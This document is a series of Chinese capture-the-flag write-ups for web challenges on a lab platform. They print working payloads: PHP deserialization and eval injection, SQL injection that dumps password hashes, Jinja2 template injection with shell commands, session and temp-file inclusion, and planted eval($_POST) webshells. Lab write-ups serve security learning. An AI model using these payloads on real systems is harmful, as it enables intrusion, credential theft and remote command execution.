題目內容:這只是第一步,然后呢?

題目writeup:

啟動題目場景,獲得靶場網站,訪問網站,發現頁面顯示一個超鏈接

http://d4aec9123e9b475a89be5b435cf82a1ac8e927256219481c.changame.ichunqiu.com/

點擊超鏈接,頁面顯示“ you are 123;if you are not 123,you can get the flag”,表示 key的值不能為123,否則不能得到flag
http://d4aec9123e9b475a89be5b435cf82a1ac8e927256219481c.changame.ichunqiu.com/index.php?key=123&hash=f9109d5f83921a551cf859f853afe7bb
並查看源代碼在注釋頁面中有顯示“ $hash=md5($sign.$key);the length of $sign is 8”,告訴hash值為md5($sign.$key)且sign長度為8 view-source:http://d4aec9123e9b475a89be5b435cf82a1ac8e927256219481c.changame.ichunqiu.com/index.php?key=123&hash=f9109d5f83921a551cf859f853afe7bb

這里將key設置為124滿足能獲取flag的key的值,繼續訪問,頁面顯示"the hash is not right",說明hash值不對
http://d4aec9123e9b475a89be5b435cf82a1ac8e927256219481c.changame.ichunqiu.com/index.php?key=124&hash=f9109d5f83921a551cf859f853afe7bb
根據上文注釋中hash值:hash=md5($sign.$key)=md5($sing.124)
這里我們將鏈接中錯誤的hash值 f9109d5f83921a551cf859f853afe7bb進行md5解密
得到: kkkkkk01123
那么$sing=kkkkkk01(滿足長度為8位)
於是正確的hash值:
hash=md5(kkkkkk01124)=168a1bca9081fcfccd524ae21a76a7fb
訪問以下構造的鏈接地址:
頁面內容顯示:next step is Gu3ss_m3_h2h2.php ,意思是下一步訪問 Gu3ss_m3_h2h2.php 頁面

訪問 Gu3ss_m3_h2h2.php頁面,頁面顯示了一塊php的源碼:
得到 Gu3ss_m3_h2h2.php的源碼
<?php
class Demo {
    private $file = 'Gu3ss_m3_h2h2.php';

    public function __construct($file) {
        $this->file = $file;
    }

    function __destruct() {
        echo @highlight_file($this->file, true);
    }

    function __wakeup() {
        if ($this->file != 'Gu3ss_m3_h2h2.php') {
            //the secret is in the f15g_1s_here.php
            $this->file = 'Gu3ss_m3_h2h2.php';
        }
    }
}

if (isset($_GET['var'])) {
    $var = base64_decode($_GET['var']);
    if (preg_match('/[oc]:\d+:/i', $var)) {
        die('stop hacking!');
    } else {

        @unserialize($var);
    }
} else {
    highlight_file("Gu3ss_m3_h2h2.php");
}
?>
源碼內容是php反序列化操作,由此可見是利用的PHP反序列化漏洞,下一步我們就是要通過這個存在序列化漏洞的頁面構造語法來獲取the f15g_1s_here.php的源碼:
1.看到wakeup()函數,想到了這是序列化的漏洞,wakeup()一旦執行就會調用反序列化函數,了繞過wakeup()我們將數據的屬性值大於真實值即可。還有對/[oc]:\d+:/i,這個正則表達式的繞過,我們只需要將:5:變成這種形式:+5:即可繞過正則表達式的匹配。
最終的秘密在f15g_1s_here.php里面,先將f15g_1s_here.php作為參數傳入Demo9函數,將整個函數實例化賦值給變量a,再序列化變量a,繞過正則,繞過wakeup函數,最后再進行base64編碼。

大意是用get方式傳遞var參數,先對它base64解碼,接着正則匹配,然后對其反序列化。在反序列化時,wakeup這個函數使得我們傳進去的文件名f15g_1s_here.php變成Gu3ss_m3_h2h2.php了,
想要讀取f15g_1s_here.php,需要繞過它。(具體見之前寫的一篇反序列化中__wakeup()函數漏洞)
對於用'+'繞過正則,參考了這篇文章,鏈接https://xz.aliyun.com/t/2733
所以,構造的序列化代碼如下: 
<?php
class Demo {
    private $file = 'Gu3ss_m3_h2h2.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'Gu3ss_m3_h2h2.php') {
            //the secret is in the f15g_1s_here.php
            $this->file = 'Gu3ss_m3_h2h2.php';
        }
    }
}
$a = new Demo('f15g_1s_here.php');
$s = serialize($a);
echo $s;
echo '<br>';
$s = str_replace('O:4', 'O:+4',$s);//繞過正則
$s = str_replace(':1:', ':2:' ,$s);//繞過wakeup函數
echo base64_encode($s);//最后base64編碼
?>
執行php后得到反序化值:
                    
                    
                    
                            

                      
                      
                      
                              
得出序列化之后的文件base64編碼TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==
序列化的payload:
Gu3ss_m3_h2h2.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==
訪問構造的反序化poc,可在頁面獲得f15g_1s_here.php的源碼:
http://d4aec9123e9b475a89be5b435cf82a1ac8e927256219481c.changame.ichunqiu.com/Gu3ss_m3_h2h2.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==
f15g_1s_here.php 源碼:
<?php
if (isset($_GET['val'])) {
    $val = $_GET['val'];
    eval('$value="' . addslashes($val) . '";');
} else {
    die('hahaha!');
}

?>
代碼中要求我們以get的方式傳遞一個val參數,對這個參數進行添加反斜杠的過濾方式。addslashes()函數會對單引號,雙引號,反斜杠,以及%0,添加反斜杠。

                       
                       
                       
                               
接下來就是利用上面的eval()函數來執行ls命令,列出靶機系統當前目錄存在的文件,它將傳進去的參數轉義處理,然后執行,這里val是可控的,所以構造payload:
f15g_1s_here.php?val=${eval("echo 'ls' ;")}
訪問頁面顯示是空白沒有任何內容。
http://d4aec9123e9b475a89be5b435cf82a1ac8e927256219481c.changame.ichunqiu.com/f15g_1s_here.php?val=${eval(%22echo%20%27ls%27%20;%22)}
                           
                           
                           
                                   

但是addslashes對單引號,雙引號,反斜杠進行了轉義,所以只能用反引號(`)。而且反斜杠被轉義了,使用不了引號嵌套。所以想到再利用一次get請求。payload如下:
f15g_1s_here.php?val=${eval($_GET[a])}&a=echo `ls`;//注意最后的分號 
http://d4aec9123e9b475a89be5b435cf82a1ac8e927256219481c.changame.ichunqiu.com/f15g_1s_here.php?val=${eval($_GET[a])}&a=echo%20`ls`;
                           
                           
                           
                                   
得到一個True_F1ag_i3_Here_233.php 文件

進行通過cat查看True_F1ag_i3_Here_233.php內容,訪問下面鏈接后,頁面是空白的。
f15g_1s_here.php?val=${eval($_GET[a])}&a=echo `cat True_F1ag_i3_Here_233.php`; 
http://d4aec9123e9b475a89be5b435cf82a1ac8e927256219481c.changame.ichunqiu.com/f15g_1s_here.php?val=${eval($_GET[a])}&a=echo%20`cat%20True_F1ag_i3_Here_233.php`;
                       
                       
                       
                               

進行源碼查看頁面,發現包含了 flag的內容
view-source:http://d4aec9123e9b475a89be5b435cf82a1ac8e927256219481c.changame.ichunqiu.com/f15g_1s_here.php?val=${eval($_GET[a])}&a=echo%20`cat%20True_F1ag_i3_Here_233.php`;
或者
下面是用一句話直接執行命令
f15g_1s_here.php?val=${eval($_POST[a]) }
http://1401d6806aac45b7a87007edcc4fdda7727d1bdd535a4e40.changame.ichunqiu.com/f15g_1s_here.php?val=${eval($_POST[a])}
通過蟻劍連接一句話木馬,並查看到flag內容
最終得到falg:
flag{b004328a-5f6e-4029-98e6-34eeadc00e7f}

題目名稱:Look

題目內容:

我看的見你,你卻看不見我。(非隱寫)

tips:sql injection

tips2: mysql 字符集

題目writeup:
啟動題目場景,獲得靶場網站,訪問網站,發現頁面是空白。
訪問主頁,並通過bupsuit對其抓包,並發送請求,發現在http響應頭中有特殊字符“x-HT:verify",告訴我們HT實際是hite的簡稱,隱藏了參數 verify
既然隱藏了 verify變量參數,那么我們構造get請求為 /?verify=1,並發送請求,在響應頁面中顯示“verify error!!"
GET /?verify=1
繼續構造 /?verify=admin發送get請求,在響應頁面顯示“verify long!!”,說明verify變量存在注入
構造'or 1%23 顯示 verify error,證明是過濾空格了
經過本地測試,發現 '*1%23 '%1%23 '=0# 都為真。

這里構造get請求/?verify='%1%23 ,發送請求,在響應頁面顯示“next page 5211ec9dde53ee65bb02225117fba1e1.php”告訴我們下一步是訪問5211ec9dde53ee65bb02225117fba1e1.php頁面。
get請求 5211ec9dde53ee65bb02225117fba1e1.php,發送請求,在響應頁面顯示hello,頭部X-HT: viminfo,這可能告訴我們文件是vim被編輯過或者編輯后得到的隱藏文件。
這里使用 dirsearch.py對目標靶機進行掃描,發現掃描出.viminfo文件
 python3 dirsearch.py  -u  http://b11bc52c08034fb3a08abb6bee1631f8f20f597b0
訪問 .viminfo文件,得到 一個備份文件5211ec9dde53ee65bb02225117fba1e1.php.backup~~~ 以及它的物理路徑
http://b11bc52c08034fb3a08abb6bee1631f8f20f597b0b244b41.changame.ichunqiu.com/ .viminfo
這里訪問 5211ec9dde53ee65bb02225117fba1e1.php.backup~~~ 文件,注意文件名后還有~~,而不是5211ec9dde53ee65bb02225117fba1e1.php.backup。得到5211ec9dde53ee65bb02225117fba1e1.php源碼

5211ec9dde53ee65bb02225117fba1e1.php源碼為:
<?php
$con = mysql_connect('localhost','root','');
mysql_query("set names utf8");
mysql_select_db("ctf");
if($_SERVER["REMOTE_ADDR"]=='8.8.8.8'){
    $name = addslashes($_GET['usern3me']);//對輸入轉義
}
else{
    if(stripos($_GET['usern3me'],'Bctf2O16')!==false){ //不區分大小寫尋找BCt2016 
        $name = 'FUCK';
    }
    else{
        $name = addslashes($_GET['usern3me']);
    }
}
echo 'hello '.$name;
$sql = "select * from admin where name='$name'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
    echo '<br>next ***.php';
}
?>
                      
                      
                      
                              
                       
                       
                       
                               
                        
                        
                        
                                
                                 
                         
                         
                         其中第一個if判斷遠程IP只是一個幌子無法偽造
                         
                         
                         
                                 
接着看程序邏輯,需要輸入非 Bctf2O(大寫O)16但進入數據庫查詢又當作是Bctf2O16的一個字符串
這里利用一個mysql的字符編碼特性:
MYSQL 中 utf8_unicode_ci 和 utf8_general_ci 兩種編碼格式, utf8_general_ci不區分大小寫,
 Ä = A, Ö = O, Ü = U 這三種條件都成立, 對於utf8_general_ci下面的等式成立:ß = s ,但是,對於utf8_unicode_ci下面等式才成立:ß = ss 。
因此ç=c或者ô=o 
於是訪問:
http://b11bc52c08034fb3a08abb6bee1631f8f20f597b0b244b41.changame.ichunqiu.com/5211ec9dde53ee65bb02225117fba1e1.php?usern3me=Bctf2O16
頁面內容顯示“heelo fuck"顯然沒有被繞過 
                        
                        
                        
                                


這里將Bctf2O16修改為Bçtf2O16
訪問
http://b11bc52c08034fb3a08abb6bee1631f8f20f597b0b244b41.changame.ichunqiu.com/5211ec9dde53ee65bb02225117fba1e1.php?usern3me=B%C3%A7tf2O16
在頁面中顯示了c3368f5eb5f8367fd548b228bee69ef2.php內容,告訴我們下一步應該訪問該文件 
                       
                       
                       
                               
訪問c3368f5eb5f8367fd548b228bee69ef2.php文件,得到其源碼

c3368f5eb5f8367fd548b228bee69ef2.php源碼:

<?php
if(isset($_GET['path']) && isset($_GET['filename'])){
    $path = $_GET['path'];
    $name = "upload/".$_GET['filename'];
}
else{
    show_source(__FILE__);
    exit();
}
if(strpos($name,'..') > -1){ //從$name 尋找..  所以想通過../的方法去變量的不可行的

    echo 'WTF';
    exit();
}

if(strpos($path,'http://127.0.0.1/') === 0){ //$path 必須以http://127.0.0.1/ 開頭
    file_put_contents($name,file_get_contents($path));  //這里是http協議就直接讀出返回是數據,然后寫入文件里面,我開始想的是php文件流去干事情,但是前面一關條件限制死了,如果沒有前面那個條件,我覺得可以用php://input 來命令執行
}
else{
    echo 'path error';
}
?>

http://127.0.0.1/下的文件就是目標靶機網站下的文件
為了弄清怎么構造POC,於是就在本地做了一個測試,測試代碼如下:
ttest .php
<?php
if(isset($_GET['path']) && isset($_GET['filename'])){
    $path = $_GET['path'];
    $name = $_GET['filename'];
}

file_put_contents($name,file_get_contents($path));
?>
test.php
<?php
$name=$_GET[1];
echo 'hello '.$name;
?>
我們在本地訪問這個url:
http://127.0.0.1/ttest.php?filename=1234.php&path=test.php
這時候是把test.php文件的內容寫到了1234.php里面:
如果path前面加上http://127.0.0.1, 寫入的內容變成了hello。
這是為什么呢?如果我們不加http://127.0.0.1,我們相當於訪問的是我們自己的文件系統,也就是直接訪問到test.php的內容。
如果我們加上了http://127.0.0.1,訪問得到的內容可以理解成curl這個鏈接得到的內容,也就是我們的響應頭里的內容,應該是這個頁面的源碼:
因為上個頁面的usern3me的內容是我們可控的, 因此,我們可以直接將一句話寫入到 filename =后的文件中。POC為:

http://127.0.0.1/ttest.php?filename=1.php&path=http://127.0.0.1/5211ec9dde53ee65bb02225117fba1e1.php?usern3me=<?php%2520eval($_POST[feng]);?> //這里空格需要用%2520分割
根據以上測試原理,本題我們可以構造為:
http://b11bc52c08034fb3a08abb6bee1631f8f20f597b0b244b41.changame.ichunqiu.com/c3368f5eb5f8367fd548b228bee69ef2.php?filename=bk.php&path=http://127.0.0.1/5211ec9dde53ee65bb02225117fba1e1.php?usern3me=<?php%2520eval($_POST[0]);?>
那么就將一句話寫入到 bk.php中,通過c3368f5eb5f8367fd548b228bee69ef2.php上文源碼分析,我們上傳的文件保存到upload目錄下
那么一句話的訪問路徑為:
通過蟻劍鏈接一句話
成功鏈接,得到flag的內容
最終flag為:
flag{480ebe9f-86c4-42d0-8427-3dc11d6cf1c7}


題目名稱:Fuzz
題目內容:Can you?
題目writeup:
啟動題目場景,獲得靶場網站,訪問網站,發現頁面顯示內容“plz fuzz parameter”,告訴我們需要fuzz參數變量

通過抓包我們對其fuzz變量
GET /?§xxx§ HTTP/1.1
Host: 713f80a92b1c492783d6241ae10088fb6fef8a5a93ec4302.changame.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: name="{{ config['RUNCMD']('python /tmp/get.py'\054shell=True) }}"; __jsluid_h=6fb91d4763af41c45644fd191e7919be
Connection: close
fuzz出變量為name
那么構造參數變量訪問:
訪問robots.txt,發現是一條蛇,猜測是與python有關
測試該頁面是否存在模板注入,輸入 {{11-2}},發現頁面內容顯示計算出9,那么是存在pyhton的模板注入。
http://713f80a92b1c492783d6241ae10088fb6fef8a5a93ec4302.changame.ichunqiu.com/?name={{11-2}}
通過百度搜索發現該題存在jinja2代碼執行漏洞:
方法一:
尋找可用引用類型(通過父類來找其中任意一個子類的引用列表),可以看到calss類為type file在列表40的位置
http://713f80a92b1c492783d6241ae10088fb6fef8a5a93ec4302.changame.ichunqiu.com/?name={{%27%27.__class__.__mro__[2].__subclasses__()}}

寫入一個配置文件owned.cfg到tmp目錄下,然后該配置文件可以啟用RUNCMD 可執行命令功能
http://713f80a92b1c492783d6241ae10088fb6fef8a5a93ec4302.changame.ichunqiu.com/?name={{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
http://713f80a92b1c492783d6241ae10088fb6fef8a5a93ec4302.changame.ichunqiu.com/?name={{ config.from_pyfile('/tmp/owned.cfg') }}
查看系統ID
?name={{ config['RUNCMD']('/usr/bin/id',shell=True) }}
通過測試發現系統過濾了ls dir等命令,可通過$ {}來繞過執行查看/var/www/html/(apache默認的網站目錄)目錄下存在的文件
當前www目錄下存在fl4g和x.py文件

查看flag內容
?name={{ config['RUNCMD']('a=c;b=at;c=fl;d=4g;$a$b /var/www/html/${c}${d}',shell=True) }}

方法二:
通過測試發現系統過濾了ls dir等命令,可通過$ {}來繞過執行查看/var/www/html/(apache默認的網站目錄)目錄下存在的文件
當前www目錄下存在fl4g和x.py文件

這里將print open('/var/www/html/fl4g','r').read()讀取flag的python代碼進行base4編碼寫入到tmp/get.py
enbase64(print open('/var/www/html/fl4g','r').read()): cHJpbnQgb3BlbignL3Zhci93d3cvaHRtbC9mbDRnJywncicpLnJlYWQoKQ==
{{ config['RUNCMD']('echo cHJpbnQgb3BlbignL3Zhci93d3cvaHRtbC9mbDRnJywncicpLnJlYWQoKQ==|base64 -d>/tmp/get.py',shell=True) }}
http://713f80a92b1c492783d6241ae10088fb6fef8a5a93ec4302.changame.ichunqiu.com/?name={{ config['RUNCMD']('echo cHJpbnQgb3BlbignL3Zhci93d3cvaHRtbC9mbDRnJywncicpLnJlYWQoKQ==|base64 -d>/tmp/get.py',shell=True) }}
http://713f80a92b1c492783d6241ae10088fb6fef8a5a93ec4302.changame.ichunqiu.com/?name={{ config['RUNCMD']('python /tmp/get.py',shell=True) }}
最終得到flag:

flag{987cd50d-f6a7-4a26-9aaa-83a34ce81688}


題目名稱:notebook
題目內容:文件包含phpinfo是不是有新的發現
題目writeup:
啟動題目場景,獲得靶場網站,訪問網站,發現是一個登陸頁面,發現file參數是可控,看起來像文件包含漏洞
http://f141cc048b7a4261968b6789b8046e35234c110c6dfa4bac.changame.ichunqiu.com/action.php?module=php&file=login
構造文件包含讀取pnpinfo文件內容,發現是空白的
按照正常流程走一遍,先注冊一個賬號test/test,成功登陸,登錄后顯示“歡迎,test,there is no flag”。
上文直接get請求包含phpinfo沒有任何發現,現在登錄系統,並對其抓包,將file參數值改為phpinfo進行發送,響應頁面顯示空白
嘗試將module參數修改為空,再次發送請求,響應頁面中出現"the phpinfo didn't exist'phpinfo文件不存在

嘗試訪問robots.txt,發現網站包含了php1nFo.php文件可訪問。
http://f141cc048b7a4261968b6789b8046e35234c110c6dfa4bac.changame.ichunqiu.com/robots.txt
訪問 php1nFo.php文件,訪問得到php配置信息,在php配置信息中可以看到:
http://f141cc048b7a4261968b6789b8046e35234c110c6dfa4bac.changame.ichunqiu.com/php1nFo.php
open_basedir是可將用戶訪問文件的活動范圍限制在指定的區域。注意用open_basedir指定的限制實際上是前綴,而不是目錄名。
session.save_path就是session文件存在的位置。
舉個例子:
若open_basedir =/dir/user,那么目錄/dir/user和/dir/user1都是可以訪問的。
所以如果要將訪問限制在僅為指定的目錄,可用斜線結束路徑名。例如設置成: open_basedir =/dir/user/ 那么問題來了,我們只能控制/tmp目錄,/var/lib/php5這個目錄是包含不了的。
嘗試將module參數修改為空,file參數設置為php1nFo.php進行文件包含請求,發現session.save_path路徑變成了/tmp/SESS
session 的文件名格式為 sess_[PHPSESSID],而 sessionid 在發送的請求的 cookie 字段中PHPSESSID值也可以看到
因此session文件名為:sess_1q822v7v6alpragha75bs3a3c3

接下來對session的文件名進行文件包含讀取
 /action.php?module=&file=../../../../tmp/SESS/sess_1q822v7v6alpragha75bs3a3c3 
在響應頁面中,test用戶名被顯示,用戶名是可控的。
接下來注冊用戶名為<?php system('ls'); ?>,登錄后用戶名 被顯示。
再次對session的文件名進行文件包含讀取,在響應頁面中能讀取到系統當前網站目錄下存在flag.php文件
/action.php?module=&file=../../../../tmp/SESS/sess_1q822v7v6alpragha75bs3a3c3 
然后接着注冊用戶名<?php system('cat flag.php'); ?>,登錄后用戶名被顯示。


最后,嘗試讀取flag,頁面上並沒有回顯,查看源代碼得到flag
/action.php?module=&file=../../../../tmp/SESS/sess_v6en5e2u91i4lupdt0tnpbhas4
post:
cmd=system('cat flag.php');

最終得到flag:
flag{02415d0d-5c5d-4daf-bec2-610e56e6dfa4}

題目名稱:Blog

題目內容:請幫我測試一下剛寫的Blog

題目writeup:
啟動題目場景,獲得靶場網站,訪問網站,得到一個 Mini-Blog的歡迎頁面
http://0375bc6103e1422db9462ea766cdf740394aadc27dcd41f1.changame.ichunqiu.com/index.php
                        
                        
                        
                                
注冊一個賬號admin/admin,提示用戶名或者密碼錯誤

又嘗試注冊另一個賬號test/test,發現可以注冊,並登陸成功
http://0375bc6103e1422db9462ea766cdf740394aadc27dcd41f1.changame.ichunqiu.com/user.php
證明靶機系統中是存在admin賬號


嘗試訪問 robots.txt,發現系統隱藏包含了flag.php文件
http://0375bc6103e1422db9462ea766cdf740394aadc27dcd41f1.changame.ichunqiu.com/robots.txt
訪問flag.php文件,提示flag就在此文件中,這里我們需要想辦法讀取,如任意文件包含讀取。
http://0375bc6103e1422db9462ea766cdf740394aadc27dcd41f1.changame.ichunqiu.com/flag.php


登錄系統,發現在后台的post模塊出,存在kinEditor編輯器,且版本為4.1.10
http://0375bc6103e1422db9462ea766cdf740394aadc27dcd41f1.changame.ichunqiu.com/post.php
通過百度搜索該編輯器版本的漏洞,發現存在目錄遍歷漏洞(https://www.jb51.net/hack/367946.html),詳細利用方法如下:

訪問url+/kindeditor/php/file_manager_json.php?path=/,得到網站物理路徑

http://0375bc6103e1422db9462ea766cdf740394aadc27dcd41f1.changame.ichunqiu.com/kindeditor/php/file_manager_json.php?path=/




繼續目錄遍歷,/kindeditor/php/file_manager_json.php?path=../../,也發現系統存在flag.php文件。

http://0375bc6103e1422db9462ea766cdf740394aadc27dcd41f1.changame.ichunqiu.com/kindeditor/php/file_manager_json.php?path=../../

首先我們測試后台文章編輯post 模塊


這里我們先提交一個標題1,內容為1,並抓包,發送請求
http://0375bc6103e1422db9462ea766cdf740394aadc27dcd41f1.changame.ichunqiu.com/post.php
在頁面上正常顯示標題1,內容1
測試title變量是否存在注入漏洞
title參數輸入: 1' and '1'='1
title=1' and '1'='1&content=1
頁面顯示1,1
title參數輸入1' and '1'='2
title=1' and '1'='2&content=1



頁面顯示0,1
初步推測是個盲注,后面語句正確返回1,后面語句錯誤返回0
通過分析不難確定此處應是一條insert語句,用以保存用戶所寫入到數據庫中,系統對這個位置過濾得比較嚴格, order by ,union select 等關鍵字語句都被過濾了。
猜想后台sql執行的語句:
INSERT INTO TABLENAME(A,B,C) VALUES($A,$B,$C);
我們能控制的變量應該有2到3個,分別是username,title和content
接下來就是比較難想的一個注入方法了,初步猜測這里主要有兩個思路,因為insert語句本身不會有回顯,而網站的報錯都被屏蔽掉了,所以布爾盲注明顯不能夠成立,那么只有:
思路1: select '一句話' into oufile 'xxx.php' 通過數據庫將一句話寫入xxx.php,然后連webshell.
思路2: 雖然系統在insert 語句上做了過濾,且insert語句本身沒有回顯,但是寫入的內容會顯示在頁面上。
由於防火牆的存在而不能夠使用思路1,由此只能考慮思路2.

首先要猜測字段數,表面上看有username,title,content這三個字段,但不知道有沒有其他字段
猜測insert語句的值類似於: INSERT INTO TABLENAME(A,B,C) VALUES('username','title','content')
先嘗試三個字段,報錯
title=1' and '1'='2&content=test')#
這里構造的insert語句類似於 INSERT INTO TABLENAME(A,B,C) VALUES ('test','1' and '1'='2','test')#') #用於注釋
這個payload請求后響應頁面報錯了,說明猜測的insert字段有誤,既然不是三個,更不可能是兩個,受控制的部分已經有兩個了,因此推測insert語句的字段數為4.

嘗試四個字段,提交后,顯示成功
title=1&content=test','X')#
這里構造的insert語句類似於INSERT INTO TABLENAME(A,B,C) VALUES('test','1','test','X')#') #用於注釋
說明除了看到的兩個字段外,還有一個未知的字段X

第四個未知字段可能是個固定值,我們給它賦值時insert語句是不會有回顯的
所以我們嘗試多條插入,再新建一條插入項,對第四個字段不做賦值,將SQL語句放到第二條插入項中。
最終目的是為了通過SQL查詢得到admin賬戶的密碼。

首先查詢數據庫名,得到數據庫名為miniblog(我注冊的用戶名是test)
title=1&content=1','1'),('test',(database()),'2


繼續查詢表名,得到表名為posts和users
title=1&content=1','1'),('test',(SELECT group_concat(table_name) from information_schema.tables where table_schema=database()),'3



查詢users 表中的列名,得到列名為usernmae和 password
title=1&content=1','1'),('test',(SELECT group_concat(column_name) from information_schema.columns where table_name='users'),'4

查詢password列中字段內容,從而得到已經存在的admin賬戶的密碼
title=1&content=1','1'),('test',(SELECT group_concat(password) from users),'5


得到所有用戶名的密碼MD5值:dbb616c5d935d8f34c12c291066d6fb7,098f6bcd4621d373cade4e832627b4f6
依次MD5解密得到 melody123,test
嘗試admin/melody123,登陸成功
點擊進入manager模塊,發現?module=存在任意文件包漏洞
嘗試文件包含讀取flag.php,這里通過 php://filter/讀取flag.php的base64
module=php://filter/read=convert.base64-encode/resource=../flag&name=php
http://2d0043aafe154f358160960da18dc204a86601ba8ec0451b.changame.ichunqiu.com/blog_manage/manager.php?module=php://filter/read=convert.base64-encode/resource=../flag&name=php
得到:PD9waHAgCidmbGFne2E0NjQ1MTRhLWRiMDctNGE2OC1iZTA3LTYzMDZkMWYzNmRkZX0nOwplY2hvICdmbGFnX2lzX2hlcmUnOwo=
解密base64得到:
<?php
'flag{a464514a-db07-4a68-be07-6306d1f36dde}';
echo 'flag_is_here';
最終flag:
flag{a464514a-db07-4a68-be07-6306d1f36dde}



題目名稱:Blog進階篇

題目內容:

Blog賽題是由melody設計的

十二月的百度杯挑戰賽上線的是優化難度后的比賽

Blog·進階篇 則是作者的原題,難度比挑戰賽上線了幾個梯度。

快來挑戰吧!

題目writeup:

根據上題的思路,我們先注冊一個test/test賬號登錄系統,然后再post 模塊處,寫入標題和內容,並抓包,然后對其進行SQL注入跑出系統用戶的密碼md5值
post:
title=1&content=1','1'),('test',(SELECT group_concat(password) from users),'5

得到用戶密碼的md5值:3177d917a0053c6161207e733c84356d,098f6bcd4621d373cade4e832627b4f6
分別對其進行MD5解密得到:19-10-1997,test
嘗試admin/ 19-10-1997,成功登陸系統
http://193c17a60b684acb9078bdf03d1daceba129d871f7ed45c6.changame.ichunqiu.com/blog_manage/manager.php?module=article_manage&name=php
嘗試通過php偽協議文件 php://filter進行文件包含,發現是空白的
http://193c17a60b684acb9078bdf03d1daceba129d871f7ed45c6.changame.ichunqiu.com/blog_manage/manager.php?module=php://filter/read=convert.base64-encode/resource=../flag&name=php
又嘗試普通http協議包含robots.txt,可以正常讀取其內容,這里注意name為text文件類型。
http://193c17a60b684acb9078bdf03d1daceba129d871f7ed45c6.changame.ichunqiu.com/blog_manage/manager.php?module=../robots.txt&name=text

發現php偽協議讀取是不能用,php://filter已經失效,文件包含仍然能夠執行,是可以被利用。

那么我們可以上傳一個shell,用命令執行讀取shell,上傳點也不難找,這里利用的是一個 php對POST上傳文件臨時保存的特性
php對post過來的文件有一個默認處理流程,即在一個處理周期內(post,response),首先將post過來的文件保存在/tmp文件夾下,文件名為php{0-9A-Za-z}的隨機字符,
我們可以把shell寫到這個隨機文件名里,如果文件被php文件本身用到了,則php直接使用/tmp里的這個臨時文件,如果沒用到或者處理完畢了,則將/tmp下的這個臨時文件刪除。
也就是說,在正常處理流程下,tmp目錄下的這個文件存活周期是一次請求到響應,響應過后,它就會被刪除,因為kindeditor那里存在的目錄遍歷漏洞,導致我們可以查看tmp目錄下的文件列表,
我們也可以對任一php文件post一個文件過去,使其暫存於tmp目錄下,問題就在於,我們還沒來得及包含這個文件,它就會在這次請求結束后被刪除掉。
如何不讓它被刪除掉呢?刪除和處理請求的都是php,所以我們要讓php守護進程產生內存溢出,換言之,使之崩潰,而php自身是不會因為錯誤直接退出的,它會清空自己的內存堆棧,
以便從錯誤中恢復,這就保證了web服務的正常運轉的同時,打斷了php對臨時文件的處理。
 自包含恰巧可以做到這一點,什么是自包含呢?
 即: /X.php?include=X.php
 這樣X.php就會將它本身包含進來,而被包含進來的X.php再次嘗試處理url的包含請求時,又將自己包含進來一遍,這就形成了無窮遞歸,遞歸會導致爆棧,
使php無法進行此次請求的后續處理,也就是刪除/tmp目錄中我們通過post強行上傳的臨時文件。
 整理下php對一個post文件請求的正常處理流程:
 1.manager.php接收一個Post請求,php在/tmp目錄下創建我們post的文件
 2.manager.php處理請求url,包含一個文件
 3.manager.php進行文件處理
 4.php刪除/tmp目錄下的臨時文件
於是我們本地構造一個payload,通過這個payload遞送一個post請求包含一個文件的同時使manager.php自包含溢出崩潰:
<!DOCTYPE html>
<html>
<head lang="en">
  <meta charset="UTF-8">
  <title>上傳文件</title>
</head>
<body>
<form action="http://a12e072c06b741b289901d33abd43de6f42904cf42ad4814.changame.ichunqiu.com/blog_manage/manager.php?module=manager&name=php" method="post" enctype="multipart/form-data">
  <input type="file" name="file"/>
  <input type="submit" value="提交">
</form>
</body>
</html>
注意這里出現的兩個manager.php,這里是防止利用文件包含寫shell時生成的文件被刪除,原理是自包含遞歸爆內存…簡單地說,無窮自包含爆棧使其崩潰,從而影響他的文件刪除功能.
用火狐瀏覽器打開,並用admin賬號登錄 ,然后上傳一個隨意文件,如test.txt
text.txt內容:
<?php
phpinfo();
?>
上傳test.txt文件成功后,下圖為自包含請求返回的效果。 (需要等待1分鍾左右)

通過目錄遍歷漏洞,查看上傳到tmp目錄下的文件名
根據時間來看,我們上傳的文件名為:php8ZCgvn
下面是任意文件包含/tmp目錄下的 php8ZCgvn文件,可以看到內容可以被php執行。注意name的文件類型為phppass或者text,這里是繞過系統的檢查
http://a12e072c06b741b289901d33abd43de6f42904cf42ad4814.changame.ichunqiu.com/blog_manage/manager.php?module=../../../../../tmp/php8ZCgvn&name=phppass
嘗試上傳幾個一句話webshell,但是都不能正常執行,發現phpinfo里已經用disable_functions禁用了大部分函數
仔細分析后,發現copy函數沒有被禁用,且 /var/www/html目錄被設置為了不可寫,於是想到將flag.php利用copy函數copy成一個txt文件,那么就可以像robots.txt一樣直接被包含讀取
上傳文件bk.txt:
<?php
copy("/var/www/html/flag.php","/tmp/flag.txt");
show_source("/tmp/flag.txt");
//注意要用到show_source函數顯示源碼,否則會被解析,從下面也可以看到,flag的內容是在注釋當中的
?>
這里上傳bk.txt
成功上傳文件
通過目錄遍歷漏洞,查看上傳到tmp目錄下的文件名
http://a12e072c06b741b289901d33abd43de6f42904cf42ad4814.changame.ichunqiu.com//kindeditor/php/file_manager_json.php?path=../../../../../tmp/



得到上傳的文件名:phphdj6P4

上傳上述文件后用manager.php進行文件包含,即可在/tmp目錄下看到flag.txt的內容:
http://a12e072c06b741b289901d33abd43de6f42904cf42ad4814.changame.ichunqiu.com/blog_manage/manager.php?module=../../../../../tmp/phphdj6P4&name=phppass
最終flag:
flag{f4025949-153b-47d9-b9fa-febd16a4ad34}

